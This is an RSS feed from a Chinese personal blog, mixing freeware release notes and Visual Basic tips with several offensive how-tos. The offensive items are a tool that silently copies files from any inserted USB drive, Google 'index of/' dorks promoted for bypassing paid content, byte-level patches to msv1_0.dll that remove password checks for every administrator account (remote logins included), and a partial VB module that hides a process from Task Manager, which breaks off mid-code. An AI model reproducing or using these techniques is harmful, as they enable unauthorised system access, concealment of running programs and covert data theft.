<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
<channel>
<title><![CDATA[君与琴网 - 技术文章]]></title>
<link>http://www.junyuqin.com/blog/</link>
<description><![CDATA[爱上了就不要放弃，爱上你就要嫁给你！]]></description>
<language>zh-cn</language>
<copyright><![CDATA[Copyright 2005 PBlog3 v2.8]]></copyright>
<webMaster><![CDATA[junyuqin@sohu.com(君与琴)]]></webMaster>
<generator>PBlog2 v2.4</generator> 
<image>
	<title>君与琴网</title>
	<url>http://www.junyuqin.com/blog/images/logos.gif</url>
	<link>http://www.junyuqin.com/blog/</link>
	<description>君与琴网</description>
</image>

			<item>
			<link>http://www.junyuqin.com/blog/article.asp?id=176</link>
			<title><![CDATA[极速启动(QStart) 3.1.2]]></title>
			<author>junyuqin@sohu.com(junyuqin)</author>
			<category><![CDATA[技术文章]]></category>
			<pubDate>Sat,24 Jul 2010 20:10:20 +0800</pubDate>
			<guid>http://www.junyuqin.com/blog/default.asp?id=176</guid>
		<description><![CDATA[<p style="text-align: center"><span style="font-size: 20px">极速启动(QStart) 3.1.2</span></p>
<p><img alt="" src="http://www.newhua.com/images/down/virus/virus_rising_ok.gif" /> <img alt="" src="http://www.newhua.com/images/down/virus/virus_mcafee_ok.gif" /> <img alt="" src="http://www.newhua.com/images/down/virus/virus_kaka_ok.gif" /> <img alt="" src="http://www.newhua.com/images/down/virus/virus_anquan_ok.gif" /> <img alt="" src="http://www.newhua.com/newhuagg/win7_ok.gif" /> <br />
<img alt="" src="http://www.skycn.com/images/plugin_1.gif" /><img title="该软件经瑞星检测无病毒" alt="" src="http://www.skycn.com/images/rising_bt_1.gif" /><img title="该软件经金山毒霸检测无病毒" alt="" src="http://www.skycn.com/images/kingsoft_bt_1.gif" /><br />
<img alt="" src="http://www.crsky.com/theme/images/duba.png" /> <img alt="" src="http://www.crsky.com/theme/images/rising.png" /> <img alt="" src="http://www.crsky.com/theme/images/nod.png" /> <img alt="" src="http://www.crsky.com/theme/images/kaspersky.png" /><br />
<img alt="" src="http://www.crsky.com/theme/images/plugin1.gif" /></p>
<p><br />
软件大小：&nbsp;126K <br />
更新时间： 2010-07-24<br />
联 系 人： <a href="http://www.junyuqin.com/blog/mailto:junyuqin@sohu.com">junyuqin@sohu.com</a> <br />
开 发 商： <a href="http://www.junyuqin.com">http://www.junyuqin.com</a> <br />
软件类别： 国产软件 / 系统增强 <br />
软件语言： 简体中文<br />
应用平台： NT/Win2000/XP/2003/Vista/7 <br />
软件性质： 免费软件 <br />
下载地址： <a target="_blank" href="http://www.junyuqin.com/studio/soft/QStart.rar">官方下载</a>&nbsp;&nbsp;　<a target="_blank" href="http://www.newhua.com/soft/95530.htm#down">华军下载</a>&nbsp;&nbsp;　<a target="_blank" href="http://www.skycn.com/soft/54221.html#downUrlMap">天空下载</a>&nbsp;　&nbsp;<a target="_blank" href="http://www.crsky.com/soft/19067.html">霏凡下载</a>&nbsp;　&nbsp;<a target="_blank" href="http://www.duote.com/soft/28424.html">多特下载</a>　<a target="_blank" href="http://dl.pconline.com.cn/download/58797.html">太平洋下载</a>　<a target="_blank" href="http://www.rar1.com.cn/html/16310.html">RAR1软件下载</a>　<a target="_blank" href="http://www.ouyaoxiazai.com/download/y8683.html">偶要下载</a>　<a target="_blank" href="http://www.downbank.cn/soft/softdown.asp?softid=15131">下载银行</a>&nbsp;　<span class="copyright"><a target="_blank" href="http://www.greendown.cn/soft/15062.html#down">绿色下载站</a><br />
<br />
在IE地址栏输入：<a target="_blank" href="http://www.baidu.com/s?wd=%BC%AB%CB%D9%C6%F4%B6%AF%28QStart%29+">http://www.baidu.com/s?wd=%BC%AB%CB%D9%C6%F4%B6%AF%28QStart%29+</a>，就能看到本软件使用百度搜索到的结果。<br />
</span><br />
　　极速启动(QStart)的界面是高仿真的漂亮的QQ界面，结合极速启动，应用于各种类型的文件、文件夹、网址、快捷方式等的快速打开操作，希望能给你的工作带来方便快捷！</p>
<p>　　极速启动是一款完全免费的软件，不需要任何付出就可以无限制地使用软件。极速启动是款绿色软件，下载解压后直接运行即可使用。如果您觉得好用，可以：<br />
1. 介绍给您的朋友<br />
2. 反馈任何的建议<br />
3. 捐助我们(可以在极速启动主界面上投放滚动广告)<br />
感谢一切使用本软件的朋友们！</p>
<p>　　我的E-mail:junyuqin@sohu.com<br />
&nbsp;</p>
<p>产品历史</p>
<p>极速启动(QStart) v3.1.2(2010.07.24)<br />
＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝<br />
1.修正当启动参数为空时，启动一些应用软件会报文件不存在的BUG，仍然感谢在我博客上留言的一位热心网友<br />
2.改写上下移操作时的不合理算法<br />
&nbsp;</p>
<p>极速启动(QStart) v3.1.1(2010.07.17)<br />
＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝<br />
1.修正启动项目自动退出的时候不需要确认，感谢在我博客上留言的一位热心网友<br />
&nbsp;</p>
<p>极速启动(QStart) v3.1.0(2010.06.12)<br />
&nbsp;</p>
<p>＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝<br />
1.解决滚动链接控件引起杀毒软件误报的问题<br />
2.在托盘弹出菜单中加入常用快捷方式，更加方便，更加极速<br />
3.修改&ldquo;下载最新版本&rdquo;链接为官方网站</p>
<p>&nbsp;</p>
<p>极速启动(QStart) v3.0.0(2010.04.30)<br />
＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝<br />
●●●●●●●●●●●●●●●●●●●●●●●●●●●<br />
●因不慎导致源码全部丢失，此次更新为软件代码的重写。●<br />
●●●●●●●●●●●●●●●●●●●●●●●●●●●<br />
1.修改按钮和界面皮肤细节<br />
2.使用滚动链接控件显示相关信息，感谢VBGood论坛的相关网友（<a href="http://www.vbgood.com/">http://www.vbgood.com/</a>）<br />
3.修改选择启动项时的对话框，原来只能选择文件，现在可以同时选择文件和文件夹<br />
4.增加右键关联文件或文件夹选项，更加方便添加启动项<br />
5.修改判断软件重复运行代码，原因是App.PrevInstance只能影响同目录的同一程序<br />
6.修正删除启动项后，配置文件冗余项不能完整清除<br />
7.修正启动项为盘符时，自动获取文件名出错<br />
8.修正启动项总数为1时，上下移操作导致程序崩溃</p>
<p>极速启动(QStart) v2.2.0(2009.11.22)<br />
＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝<br />
1.软件皮肤改为QQ2009风格<br />
2.使用子类化技术，感谢谷歌VIP用户</p>
<p>极速启动(QStart) v2.1.0(2009.06.08)<br />
＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝<br />
1.增加文件拖放功能，可以方便快速的增加启动项目<br />
2.增加托盘退出菜单一项，更加方便用户<br />
3.修正点击窗口关闭按钮，选择&ldquo;否&rdquo;按钮后，托盘图标丢失的错误<br />
4.增加自动获取文件名功能</p>
<p>极速启动(QStart) v2.0.2(2009.04.30)<br />
＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝<br />
1.修正启动项管理中列表上移操作后名称出错</p>
<p>极速启动(QStart) v2.0.1(2009.04.30)<br />
＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝<br />
1. 增加启动项管理中列表文字提示功能，目的是当列表宽度不够的时候，可以显示完整的启动项名称<br />
2. 美化提示框图标<br />
3. 解决用户反馈的部分问题<br />
4. 其他细节调整</p>
<p>极速启动(QStart) v2.0.0(2009.04.27)<br />
＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝<br />
1. 解决启动项名称过长，启动按钮显示不全的问题，设置名称最长为50个字符<br />
2. 窗体宽度根据启动项名称宽度的变化而变化<br />
3. 增加双击启动项管理中的列表就可以显示修改启动项窗口<br />
4. 将浏览路径对话框标题&ldquo;打开启动文件&rdquo;改为&ldquo;选择启动文件&rdquo;<br />
5. 选择启动文件后，自动获取启动名称<br />
6. 调整修改、增加启动项窗口中名称和路径的位置<br />
7. 支持启动带命令行参数的程序<br />
8. 修正&ldquo;访问我的主页&rdquo;不在新窗口打开的错误。</p>
<p>极速启动(QStart) v1.0.0(2009.04.22)<br />
＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝<br />
1. 软件被天空软件园成功收录，各大软件下载站纷纷转载</p>
<p>极速启动(QStart) v1.0.0Alpha5(2009.03.15)<br />
＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝<br />
1. 将程序放入到托盘中，在任务栏上不再有图标<br />
2. 修改托盘弹出菜单为QQ2008风格<br />
3. 修改启动项管理中列表的人性化设计</p>
<p>极速启动(QStart) v1.0.0Alpha4(2008.12.03)<br />
＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝<br />
1. 优化启动项管理算法，实时更新程序启动项<br />
2. 增加程序设置：在启动项目后自动退出，在屏幕边界时自动隐藏，记住程序的位置，开机自动运行</p>
<p>极速启动(QStart) v1.0.0Alpha3(2008.05.12)<br />
＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝<br />
1. 软件皮肤改为QQ2008风格<br />
2. 支持各种类型的文件、文件夹、网址、快捷方式 <br />
3. 无需重启即可对程序进行动态的添加、删除、修改、清空</p>
<p>极速启动(QStart) v1.0.0Alpha2(2008.02.13)<br />
＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝<br />
1. 软件界面改为QQ2007风格，按钮风格为MacOS风格<br />
2. 支持按钮获取启动项的图标</p>
<p>极速启动(QStart) v1.0.0Alpha1(2008.01.03)<br />
＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝<br />
1. 系统资源占用低<br />
2. 仅支持EXE文件的启动<br />
3. 启动程序可以进行添加、删除、修改、清空，但需重启程序才能生效</p>]]></description>
		</item>
		
			<item>
			<link>http://www.junyuqin.com/blog/article.asp?id=201</link>
			<title><![CDATA[U盘文件复制专家(UCopier) 3.0.0]]></title>
			<author>junyuqin@sohu.com(junyuqin)</author>
			<category><![CDATA[技术文章]]></category>
			<pubDate>Mon,30 Nov 2009 10:23:43 +0800</pubDate>
			<guid>http://www.junyuqin.com/blog/default.asp?id=201</guid>
		<description><![CDATA[<span style="font-size:18pt;line-height:100%;"><div align="center">U盘文件复制专家(UCopier) 3.0.0</div></span><br/><img src="http://www.crsky.com/theme/images/duba.png" border="0" alt=""/><img src="http://www.crsky.com/theme/images/rising.png" border="0" alt=""/><img src="http://www.crsky.com/theme/images/nod.png" border="0" alt=""/><img src="http://www.crsky.com/theme/images/kaspersky.png" border="0" alt=""/><br/><img src="http://www.crsky.com/theme/images/plugin1.gif" border="0" alt=""/><br/><br/>软件大小： 80.4 K <br/>更新时间： 2014-07-30<br/>联 系 人： <a href="http://www.junyuqin.com/blog/mailto:junyuqin@sohu.com">junyuqin@sohu.com</a><br/>开 发 商： <a target="_blank" href="http://www.junyuqin.com/" rel="external">http://www.junyuqin.com/</a><br/>软件类别： 国产软件 / 文件管理 <br/>软件语言： 简体中文<br/>应用平台： NT/Win2000/XP/2003/Vista/7/8 <br/>软件性质： 免费软件 <br/>下载地址： <a target="_blank" href="http://www.junyuqin.com/studio/soft/UCopier.rar" rel="external">官方下载1</a>　 <a target="_blank" href="http://www.junyuqin.com/studio/soft/UCopier.rar" rel="external">官方下载2</a><br/>V3.0.0:<a target="_blank" href="http://www.onlinedown.net/soft/96118.htm" rel="external">华军下载</a>　<a target="_blank" href="http://www.crsky.com/soft/19131.html" rel="external">霏凡下载</a>　<a target="_blank" href="http://www.xdowns.com/soft/6/7/2009/Soft_56894.html" rel="external">绿色软件联盟</a>　<a target="_blank" href="http://www.downbank.cn/s/64677.htm" rel="external">下载银行</a>　<a target="_blank" href="http://www.hicode.cn/software/UCopier-46471.html#downUrlMap" rel="external">大众源码网</a>　<a target="_blank" href="http://www.zhujiangroad.com/software/html/10/102520.html#1" rel="external">珠江路在线</a>　<a target="_blank" href="http://www.edowning.net/soft/84218.htm" rel="external">软件E线</a>　<a target="_blank" href="http://www.guguzhu.com/soft/59570.html#down-url" rel="external">咕咕猪下载站</a>　<a target="_blank" href="http://www.gpxz.com/yingyong/chuli/557291.html#download" rel="external">谷普下载</a><br/>V2.0.0:<a target="_blank" href="http://xiazai.zol.com.cn/detail/40/390296.shtml" rel="external">ZOL软件下载</a>　<a target="_blank" href="http://www.greendown.cn/soft/18516.html" rel="external">绿色下载站</a>　<a target="_blank" href="http://www.orsoon.com/Soft/10472.html" rel="external">未来软件园</a>　<a target="_blank" href="http://www.veryhuo.com/down/html/53543.html" rel="external">最火软件站</a>　<a target="_blank" href="http://www.rsdown.cn/soft/stgj/cpgj/3684.html" rel="external">红软基地</a><br/>　　运行本软件后，会自动在后台监控USB接口，当有U盘、MP3、MP4、手机存储卡等移动存储设备插入时，会按照预先定义的规则自动拷贝存储器内的文件！<br/>与目前同功能软件相比，本软件有如下特性：<br/>　　A.按日期时间生成文件夹，保证所拷贝U盘的文件目录树为原样，方便查看<br/>　　B.不锁定U盘，拷贝完成U盘弹出自如。同类软件在拷贝完文件之后，无法正常弹出U盘<br/>　　C.可选开机自动运行<br/>　　D.自定义拷贝的文件类型，合理选择所需<br/>　　E.自定义拷贝的文件大小，合理选择所需<br/>　　F.支持热键呼出，热键退出，方便快捷。打开界面热键：Alt+Shift+S 退出热键：Ctrl+Alt+E<br/><br/>　　【注意】<br/>　　A.在本机配置好开机启动选项，可能会受到360、瑞星、江民等含有注册表监控杀软的阻止，请点击“允许”。<br/>　　B.请勿在他人不知道的情况下安装本软件！]]></description>
		</item>
		
			<item>
			<link>http://www.junyuqin.com/blog/article.asp?id=200</link>
			<title><![CDATA[使用VB调用API打开浏览文件夹对话框]]></title>
			<author>junyuqin@sohu.com(junyuqin)</author>
			<category><![CDATA[技术文章]]></category>
			<pubDate>Mon,21 Sep 2009 21:37:10 +0800</pubDate>
			<guid>http://www.junyuqin.com/blog/default.asp?id=200</guid>
		<description><![CDATA[<span style="font-size:12pt;line-height:100%;"><span style="color:Green">在VB中调用API的方式打开浏览文件夹对话框</span></span><br/><br/>新建一个工程，在窗体中放置一个Button，复制粘贴下面的代码：<br/><div class="UBBPanel codePanel"><div class="UBBTitle"><img src="http://www.junyuqin.com/blog/images/code.gif" style="margin:0px 2px -3px 0px" alt="程序代码"/> 程序代码</div><div class="UBBContent">Private Declare Function SHBrowseForFolder Lib &#34;shell32.dll&#34; Alias &#34;SHBrowseForFolderA&#34; (lpBrowseInfo As BROWSEINFO) As Long<br/><br/>Private Type BROWSEINFO<br/>&nbsp;&nbsp;&nbsp;&nbsp;hOwner As Long&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#39;父窗口的句柄<br/>&nbsp;&nbsp;&nbsp;&nbsp;pidlRoot As Long&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#39;指向希望浏览的最上层的文件夹的标识符列表，可设为0<br/>&nbsp;&nbsp;&nbsp;&nbsp;pszDisplayName As String&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#39;返回你所选择的文件夹（带一个NULL字符）<br/>&nbsp;&nbsp;&nbsp;&nbsp;lpszTitle As String&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#39;对话框标题（要以vbNullChar结尾）<br/>&nbsp;&nbsp;&nbsp;&nbsp;ulFlags As Long&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#39;浏览标志（见下面）<br/>&nbsp;&nbsp;&nbsp;&nbsp;lpfn As Long&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#39;回调函数的地址，可设为NULL<br/>&nbsp;&nbsp;&nbsp;&nbsp;lParam As Long&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#39;若有回调函数，此项设置它的值<br/>&nbsp;&nbsp;&nbsp;&nbsp;iImage As Long&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#39;保存所选文件夹映像索引的缓冲区<br/>End Type<br/><br/>Private Const BIF_BROWSEFORCOMPUTER = &amp;H1000&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#39;允许浏览计算机<br/>Private Const BIF_BROWSEFORPRINTER = &amp;H2000&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#39;允许浏览打印机文件夹<br/>Private Const BIF_BROWSEINCLUDEFILES = &amp;H4000&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#39;允许同时浏览文件（需IE4）<br/>Private Const BIF_DONTGOBELOWDOMAIN = &amp;H2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#39;强制用户停留在网上邻居中<br/>Private Const BIF_EDITBOX = &amp;H10&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#39;可在输入框中直接输入文件夹名（需IE4）<br/>Private Const BIF_RETURNFSANCESTORS = &amp;H8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#39;返回文件系统祖先？<br/>Private Const BIF_RETURNONLYFSDIRS = &amp;H1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#39;仅允许浏览文件系统<br/>Private Const BIF_STATUSTEXT = &amp;H4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#39;显示状态栏<br/>Private Const BIF_USENEWUI = &amp;H40&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#39;使用新界面（仅支持Win2000、WinME）<br/>Private Const BIF_VALIDATE = &amp;H20&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#39;若输入一个非法文件夹名，就返回BFFM_VALIDATEFAILED 给回调函数<br/><br/>Private Declare Function SHGetPathFromIDList Lib &#34;shell32.dll&#34; Alias &#34;SHGetPathFromIDListA&#34; (ByVal pidl As Long, ByVal pszPath As String) As Long<br/><br/>Private Function BrowseForFolder(Optional Title As String, Optional hWnd As Long) As String<br/>&nbsp;&nbsp;&nbsp;&nbsp;Dim bi As BROWSEINFO<br/>&nbsp;&nbsp;&nbsp;&nbsp;Dim pidl As Long<br/>&nbsp;&nbsp;&nbsp;&nbsp;Dim folder As String<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;folder = String(255, vbNullChar)<br/>&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;With bi<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.hOwner = hWnd<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.ulFlags = BIF_RETURNONLYFSDIRS o&#114; BIF_USENEWUI o&#114; BIF_EDITBOX<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.pidlRoot = 0<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.lpszTitle = IIf(Title &lt;&gt; &#34;&#34;, Title &amp; vbNullChar, &#34;选择驱动器和目录&#34; &amp; vbNullChar)<br/>&nbsp;&nbsp;&nbsp;&nbsp;End With<br/>&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;pidl = SHBrowseForFolder(bi)<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;If SHGetPathFromIDList(ByVal pidl, ByVal folder) Then<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;BrowseForFolder = Left(folder, InStr(folder, vbNullChar) - 1)<br/>&nbsp;&nbsp;&nbsp;&nbsp;Else<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;BrowseForFolder = &#34;&#34;<br/>&nbsp;&nbsp;&nbsp;&nbsp;End If<br/>End Function<br/><br/>Private Sub Command1_Click()<br/>&nbsp;&nbsp;&nbsp;&nbsp;MsgBox BrowseForFolder<br/>End Sub<br/></div></div>]]></description>
		</item>
		
			<item>
			<link>http://www.junyuqin.com/blog/article.asp?id=189</link>
			<title><![CDATA[VB中Textbox控件只能输入数字]]></title>
			<author>junyuqin@sohu.com(junyuqin)</author>
			<category><![CDATA[技术文章]]></category>
			<pubDate>Sat,29 Aug 2009 13:34:39 +0800</pubDate>
			<guid>http://www.junyuqin.com/blog/default.asp?id=189</guid>
		<description><![CDATA[我们在编写程序的时候，往往会禁止用户在输入框中输入一些字符，在VB中要做到这个功能，最简单的方法就是在用户输入字符的时候，给个判断就行了，下面是一个完整的事例。<br/><br/>Const xStr As String = &#34;0123456789&#34;<br/>Private Sub Text1_KeyPress(KeyAscii As Integer)<br/>&nbsp;&nbsp;&nbsp;&nbsp;KeyAscii = IIf(InStr(xStr &amp; Chr(8), Chr(KeyAscii)), KeyAscii, 0)<br/>&nbsp;&nbsp;&nbsp;&nbsp;If KeyAscii = 46 Then KeyAscii = 0<br/>End Sub]]></description>
		</item>
		
			<item>
			<link>http://www.junyuqin.com/blog/article.asp?id=188</link>
			<title><![CDATA[VB获取星期]]></title>
			<author>junyuqin@sohu.com(junyuqin)</author>
			<category><![CDATA[技术文章]]></category>
			<pubDate>Sat,29 Aug 2009 13:31:04 +0800</pubDate>
			<guid>http://www.junyuqin.com/blog/default.asp?id=188</guid>
		<description><![CDATA[在VB中取得日期的方法很简单，只需一个<span style="color:Red">Weekday</span>和一个<span style="color:Red">WeekdayName</span>。如果单纯只使用Weekday()函数，返回的将是星期数加1。比如星期一返回的是2，星期二返回的是3……，特别要指出的是星期天返回为1。显然这不符合我们中国人的生活习惯，使用WeekdayName()函数就可以把数字转换成星期，注意该函数的参数只能是1、2、3、4、5、6、7，其它的调用参数都会出现“无效的过程调用或参数”的实时错误。<br/><br/>VB获取星期的简单代码如下：<br/><span style="color:Red">WeekdayName(Weekday(Date))</span><br/><br/>直接使用即可。]]></description>
		</item>
		
			<item>
			<link>http://www.junyuqin.com/blog/article.asp?id=187</link>
			<title><![CDATA[Google中“index of/”的妙用]]></title>
			<author>junyuqin@sohu.com(junyuqin)</author>
			<category><![CDATA[技术文章]]></category>
			<pubDate>Sat,29 Aug 2009 12:20:30 +0800</pubDate>
			<guid>http://www.junyuqin.com/blog/default.asp?id=187</guid>
		<description><![CDATA[首先打开Google，在关键词输入框中输入&#34;index of/&#34; inurl:lib(双引号为英文状态下），选择“搜索简体中文网页”选项，回车搜索，得到了一些网页，不要以为这是一些普通的页面，其实它们是一些图书网站的资源列表，点击打开它来看看，怎么样？是不是所有资源一收眼底了？ <br/><br/>使用其他关键字可能得到更多的资源<br/>在搜索框上输入：&#34;index of /&#34; cnki<br/>再按搜索你就可以找到许多图书馆的CNKI、VIP、超星等入口！<br/>在搜索框上输入：&#34;index of /&#34; ppt<br/>再按搜索你就可以突破网站入口下载powerpint作品<br/>在搜索框上输入：&#34;index of /&#34; mp3<br/>再按搜索你就可以突破网站入口下载mp3、rm等影视作品<br/>在搜索框上输入：&#34;index of /&#34; swf<br/>再按搜索你就可以突破网站入口下载flash作品<br/>在搜索框上输入：&#34;index of /&#34; 加上要下载的软件名 <br/><br/>一些收费的内容，经过Google “index of /”的妙用，就会成功突破！]]></description>
		</item>
		
			<item>
			<link>http://www.junyuqin.com/blog/article.asp?id=186</link>
			<title><![CDATA[另类删除Windows系统密码]]></title>
			<author>junyuqin@sohu.com(junyuqin)</author>
			<category><![CDATA[技术文章]]></category>
			<pubDate>Sat,29 Aug 2009 12:15:43 +0800</pubDate>
			<guid>http://www.junyuqin.com/blog/default.asp?id=186</guid>
		<description><![CDATA[在系统目录stem32下，打到msv1_0.dll这个文件，用16进制文件编辑打开。不同的Windows版本显示的内容是不一样的。<br/><br/>xp sp2：<span style="color:Green">F8 10 75 11 B0 01 8B 4D</span><br/><br/>2k professinal：<span style="color:Green">F8 10 0F 84 71 FF FF</span><br/><br/>2k sp4：<span style="color:Green">F8 10 75 11 b0 01 8b 4D</span><br/><br/>2003 sp1：<span style="color:Green">F8 10 0F 84 D0 B8 FF FF</span><br/><br/>vista rtm：<span style="color:Green">F8 10 75 13 B0 01 8B 4D</span><br/><br/>然后将字串的前两个字节改为：E0 00，最后变成<br/><br/>xp sp2：<span style="color:Red">E0 00 75 11 B0 01 8B 4D</span><br/><br/>2k professinal：<span style="color:Red">E0 00 0F 84 71 FF FF</span><br/><br/>2k sp4：<span style="color:Red">E0 00 75 11 b0 01 8b 4D</span><br/><br/>2003 sp1：<span style="color:Red">E0 00 0F 84 D0 B8 FF FF</span><br/><br/>vista rtm：<span style="color:Red">E0 00 75 13 B0 01 8B 4D</span><br/><br/>经过这样的处理以后，全部管理员帐号无须密码登陆，包括远程登陆的。 <img src="http://www.junyuqin.com/blog/images/smilies/Face_03.gif" border="0" style="margin:0px 0px -2px 0px" alt=""/>]]></description>
		</item>
		
			<item>
			<link>http://www.junyuqin.com/blog/article.asp?id=185</link>
			<title><![CDATA[使用VB在任务管理器中隐藏进程名]]></title>
			<author>junyuqin@sohu.com(junyuqin)</author>
			<category><![CDATA[技术文章]]></category>
			<pubDate>Sat,29 Aug 2009 12:06:59 +0800</pubDate>
			<guid>http://www.junyuqin.com/blog/default.asp?id=185</guid>
		<description><![CDATA[一个真正能在 XP 任务管理器中隐藏进程的模块!<br/><br/>测试通过:VB6+WINXP(记得编译后哦),在好多网站下的都不能!要不就是特别麻烦!结果任务管理器中还是会有! <br/><br/>代码:<br/><br/>使用方法:<br/>&nbsp;&nbsp;&nbsp;&nbsp; 在Form_load中加入:<br/>&nbsp;&nbsp;&nbsp;&nbsp; App.TaskVisible = False<br/>&nbsp;&nbsp;&nbsp;&nbsp; Call HideCurrentProcess<br/><br/>Option Explicit<br/><br/>&#39;该模块用于在任务管理器中隐藏进程<br/>Private Const STATUS_ACCESS_DENIED = &amp;HC0000022<br/>Private Const SECTION_MAP_WRITE = &amp;H2<br/>Private Const SECTION_MAP_READ = &amp;H4<br/>Private Const READ_CONTROL = &amp;H20000<br/>Private Const WRITE_DAC = &amp;H40000<br/>Private Const NO_INHERITANCE = 0<br/>Private Const DACL_SECURITY_INFORMATION = &amp;H4<br/><br/>Private Type UNICODE_STRING<br/>&nbsp;&nbsp;&nbsp;&nbsp; Length As Integer<br/>&nbsp;&nbsp;&nbsp;&nbsp; MaximumLength As Integer<br/>&nbsp;&nbsp;&nbsp;&nbsp; Buffer As Long<br/>End Type<br/><br/>Private Type OBJECT_ATTRIBUTES<br/>&nbsp;&nbsp;&nbsp;&nbsp; Length As Long<br/>&nbsp;&nbsp;&nbsp;&nbsp; 